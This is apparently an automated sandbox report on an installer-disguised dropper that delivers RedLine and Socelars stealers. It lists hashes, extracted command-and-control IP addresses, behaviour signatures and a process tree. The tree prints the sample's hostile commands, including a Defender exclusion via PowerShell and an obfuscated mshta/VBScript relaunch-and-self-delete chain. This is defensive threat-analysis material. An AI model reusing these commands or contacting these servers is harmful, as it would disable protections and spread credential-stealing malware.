Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
11/10/2021, 20:45
211011-zjxjlsabbm 1011/10/2021, 13:10
211011-qegsxshcfp 1011/10/2021, 10:55
211011-mz7y3ahaak 1010/10/2021, 19:24
211010-x4mtssgae2 10Analysis
-
max time kernel
86s -
max time network
1799s -
platform
windows7_x64 -
resource
win7-ja-20210920 -
submitted
11/10/2021, 13:10
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-ja-20210920
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7-de-20210920
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10-ja-20210920
General
-
Target
setup_x86_x64_install.exe
-
Size
3.9MB
-
MD5
a4d23ac3c7172b9aa02e35b6bf0fd21f
-
SHA1
0326aab7deddfefc048c9a67ac9ce4ee14ea9003
-
SHA256
9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806
-
SHA512
9e425d8a1beaeabfc983bb75a7a5f8a8c0823e825e9f66e17b0f515b2897da9f2d9b2f1aa9939fdbae6c826c2c730d3bc772abec9e35a61d3d73a6cdb87ddf10
Malware Config
Extracted
redline
she
135.181.129.119:4805
Extracted
redline
ANI
45.142.215.47:27643
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 7 IoCs
resource yara_rule behavioral1/memory/1568-188-0x0000000001D80000-0x0000000001D9F000-memory.dmp family_redline behavioral1/memory/1568-192-0x0000000001E10000-0x0000000001E2D000-memory.dmp family_redline behavioral1/memory/556-201-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral1/memory/556-202-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral1/memory/556-203-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral1/memory/556-204-0x000000000041B23A-mapping.dmp family_redline behavioral1/memory/556-207-0x0000000000400000-0x0000000000422000-memory.dmp family_redline -
Socelars Payload 3 IoCs
resource yara_rule behavioral1/files/0x00050000000131ea-127.dat family_socelars behavioral1/files/0x00050000000131ea-116.dat family_socelars behavioral1/files/0x00050000000131ea-104.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
resource yara_rule behavioral1/files/0x000500000001267c-70.dat aspack_v212_v242 behavioral1/files/0x000500000001267c-71.dat aspack_v212_v242 behavioral1/files/0x0006000000012634-72.dat aspack_v212_v242 behavioral1/files/0x0006000000012634-73.dat aspack_v212_v242 behavioral1/files/0x00050000000126a2-76.dat aspack_v212_v242 behavioral1/files/0x00050000000126a2-77.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 17 IoCs
pid Process 1600 setup_installer.exe 1888 setup_install.exe 864 Sun152bab5a2de.exe 1544 Sun15901f2f025e.exe 960 Sun15dbd675f871ca.exe 1120 Sun15f67075f27a2b5b.exe 288 Sun1577c3e159a3e3815.exe 1568 Sun15f1b1f8c669.exe 1944 Sun159ff1acacf.exe 1648 Sun1507db358fce61c0b.exe 1000 Sun152bea652bd7232.exe 1664 Sun152e52d07b74d9b5.exe 600 Sun158d8ef840.exe 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 556 Sun159ff1acacf.exe 2188 09xU.exE 2908 8357643.scr -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation Sun15dbd675f871ca.exe -
Loads dropped DLL 63 IoCs
pid Process 1512 setup_x86_x64_install.exe 1600 setup_installer.exe 1600 setup_installer.exe 1600 setup_installer.exe 1600 setup_installer.exe 1600 setup_installer.exe 1600 setup_installer.exe 1888 setup_install.exe 1888 setup_install.exe 1888 setup_install.exe 1888 setup_install.exe 1888 setup_install.exe 1888 setup_install.exe 1888 setup_install.exe 1888 setup_install.exe 1764 cmd.exe 604 cmd.exe 1656 cmd.exe 864 Sun152bab5a2de.exe 864 Sun152bab5a2de.exe 972 cmd.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 1984 cmd.exe 1984 cmd.exe 1312 cmd.exe 1312 cmd.exe 1584 cmd.exe 1584 cmd.exe 2036 cmd.exe 2036 cmd.exe 288 Sun1577c3e159a3e3815.exe 288 Sun1577c3e159a3e3815.exe 1640 cmd.exe 1568 Sun15f1b1f8c669.exe 1568 Sun15f1b1f8c669.exe 1944 Sun159ff1acacf.exe 1944 Sun159ff1acacf.exe 1164 cmd.exe 1648 Sun1507db358fce61c0b.exe 1648 Sun1507db358fce61c0b.exe 1168 cmd.exe 600 Sun158d8ef840.exe 600 Sun158d8ef840.exe 1544 Sun15901f2f025e.exe 1544 Sun15901f2f025e.exe 1944 Sun159ff1acacf.exe 960 Sun15dbd675f871ca.exe 556 Sun159ff1acacf.exe 556 Sun159ff1acacf.exe 2100 cmd.exe 2188 09xU.exE 2188 09xU.exE 2420 WerFault.exe 2420 WerFault.exe 2420 WerFault.exe 2420 WerFault.exe 2420 WerFault.exe 2748 WerFault.exe 2748 WerFault.exe 2748 WerFault.exe 2748 WerFault.exe 2748 WerFault.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ip-api.com 29 ipinfo.io 30 ipinfo.io -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1944 set thread context of 556 1944 Sun159ff1acacf.exe 58 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 2420 960 WerFault.exe 39 2748 1544 WerFault.exe 52 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun1507db358fce61c0b.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun1507db358fce61c0b.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sun1507db358fce61c0b.exe -
Kills process with taskkill 2 IoCs
pid Process 2212 taskkill.exe 2016 taskkill.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Sun152bab5a2de.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Sun152bab5a2de.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Sun152bab5a2de.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1648 Sun1507db358fce61c0b.exe 1648 Sun1507db358fce61c0b.exe 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 960 Sun15dbd675f871ca.exe 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1364 Process not Found 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 1364 Process not Found 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 1364 Process not Found 1736 YMcnsWTc3JlIWelrDcDBH3du.exe 1736 YMcnsWTc3JlIWelrDcDBH3du.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1648 Sun1507db358fce61c0b.exe -
Suspicious use of AdjustPrivilegeToken 45 IoCs
description pid Process Token: SeCreateTokenPrivilege 1544 Sun15901f2f025e.exe Token: SeAssignPrimaryTokenPrivilege 1544 Sun15901f2f025e.exe Token: SeLockMemoryPrivilege 1544 Sun15901f2f025e.exe Token: SeIncreaseQuotaPrivilege 1544 Sun15901f2f025e.exe Token: SeMachineAccountPrivilege 1544 Sun15901f2f025e.exe Token: SeTcbPrivilege 1544 Sun15901f2f025e.exe Token: SeSecurityPrivilege 1544 Sun15901f2f025e.exe Token: SeTakeOwnershipPrivilege 1544 Sun15901f2f025e.exe Token: SeLoadDriverPrivilege 1544 Sun15901f2f025e.exe Token: SeSystemProfilePrivilege 1544 Sun15901f2f025e.exe Token: SeSystemtimePrivilege 1544 Sun15901f2f025e.exe Token: SeProfSingleProcessPrivilege 1544 Sun15901f2f025e.exe Token: SeIncBasePriorityPrivilege 1544 Sun15901f2f025e.exe Token: SeCreatePagefilePrivilege 1544 Sun15901f2f025e.exe Token: SeCreatePermanentPrivilege 1544 Sun15901f2f025e.exe Token: SeBackupPrivilege 1544 Sun15901f2f025e.exe Token: SeRestorePrivilege 1544 Sun15901f2f025e.exe Token: SeShutdownPrivilege 1544 Sun15901f2f025e.exe Token: SeDebugPrivilege 1544 Sun15901f2f025e.exe Token: SeAuditPrivilege 1544 Sun15901f2f025e.exe Token: SeSystemEnvironmentPrivilege 1544 Sun15901f2f025e.exe Token: SeChangeNotifyPrivilege 1544 Sun15901f2f025e.exe Token: SeRemoteShutdownPrivilege 1544 Sun15901f2f025e.exe Token: SeUndockPrivilege 1544 Sun15901f2f025e.exe Token: SeSyncAgentPrivilege 1544 Sun15901f2f025e.exe Token: SeEnableDelegationPrivilege 1544 Sun15901f2f025e.exe Token: SeManageVolumePrivilege 1544 Sun15901f2f025e.exe Token: SeImpersonatePrivilege 1544 Sun15901f2f025e.exe Token: SeCreateGlobalPrivilege 1544 Sun15901f2f025e.exe Token: 31 1544 Sun15901f2f025e.exe Token: 32 1544 Sun15901f2f025e.exe Token: 33 1544 Sun15901f2f025e.exe Token: 34 1544 Sun15901f2f025e.exe Token: 35 1544 Sun15901f2f025e.exe Token: SeDebugPrivilege 1120 Sun15f67075f27a2b5b.exe Token: SeDebugPrivilege 1664 Sun152e52d07b74d9b5.exe Token: SeDebugPrivilege 2212 taskkill.exe Token: SeShutdownPrivilege 1364 Process not Found Token: SeDebugPrivilege 2420 WerFault.exe Token: SeDebugPrivilege 1568 Sun15f1b1f8c669.exe Token: SeDebugPrivilege 556 Sun159ff1acacf.exe Token: SeShutdownPrivilege 1364 Process not Found Token: SeDebugPrivilege 2748 WerFault.exe Token: SeShutdownPrivilege 1364 Process not Found Token: SeShutdownPrivilege 1364 Process not Found -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1364 Process not Found 1364 Process not Found -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 1364 Process not Found 1364 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1512 wrote to memory of 1600 1512 setup_x86_x64_install.exe 28 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1600 wrote to memory of 1888 1600 setup_installer.exe 29 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1940 1888 setup_install.exe 33 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 1764 1888 setup_install.exe 34 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 604 1888 setup_install.exe 35 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 1656 1888 setup_install.exe 36 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1888 wrote to memory of 972 1888 setup_install.exe 37 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1764 wrote to memory of 864 1764 cmd.exe 53 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 1888 wrote to memory of 1984 1888 setup_install.exe 38 PID 604 wrote to memory of 1544 604 cmd.exe 52
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS046A1046\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:1940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun152bab5a2de.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun152bab5a2de.exeSun152bab5a2de.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:864
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15901f2f025e.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:604 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15901f2f025e.exeSun15901f2f025e.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1544 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 6206⤵
- Loads dropped DLL
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2748
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15dbd675f871ca.exe4⤵
- Loads dropped DLL
PID:1656 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15dbd675f871ca.exeSun15dbd675f871ca.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:960 -
C:\Users\Admin\Pictures\Adobe Films\YMcnsWTc3JlIWelrDcDBH3du.exe"C:\Users\Admin\Pictures\Adobe Films\YMcnsWTc3JlIWelrDcDBH3du.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1736
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 14566⤵
- Loads dropped DLL
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15f67075f27a2b5b.exe4⤵
- Loads dropped DLL
PID:972 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15f67075f27a2b5b.exeSun15f67075f27a2b5b.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1120 -
C:\Users\Admin\AppData\Roaming\8357643.scr"C:\Users\Admin\AppData\Roaming\8357643.scr" /S6⤵
- Executes dropped EXE
PID:2908
-
-
C:\Users\Admin\AppData\Roaming\4265188.scr"C:\Users\Admin\AppData\Roaming\4265188.scr" /S6⤵PID:2944
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:2428
-
-
-
C:\Users\Admin\AppData\Roaming\6965491.scr"C:\Users\Admin\AppData\Roaming\6965491.scr" /S6⤵PID:3024
-
-
C:\Users\Admin\AppData\Roaming\2714541.scr"C:\Users\Admin\AppData\Roaming\2714541.scr" /S6⤵PID:2096
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun1577c3e159a3e3815.exe /mixone4⤵
- Loads dropped DLL
PID:1984 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun1577c3e159a3e3815.exeSun1577c3e159a3e3815.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:288 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Sun1577c3e159a3e3815.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun1577c3e159a3e3815.exe" & exit6⤵PID:2552
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Sun1577c3e159a3e3815.exe" /f7⤵
- Kills process with taskkill
PID:2016
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun15f1b1f8c669.exe4⤵
- Loads dropped DLL
PID:1312 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun15f1b1f8c669.exeSun15f1b1f8c669.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1568
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun158d8ef840.exe4⤵
- Loads dropped DLL
PID:1168 -
C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exeSun158d8ef840.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:600 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )6⤵PID:1428
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS046A1046\Sun158d8ef840.exe") do taskkill /F -Im "%~NxU"7⤵
- Loads dropped DLL
PID:2100 -
C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2188 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )9⤵PID:2436
-
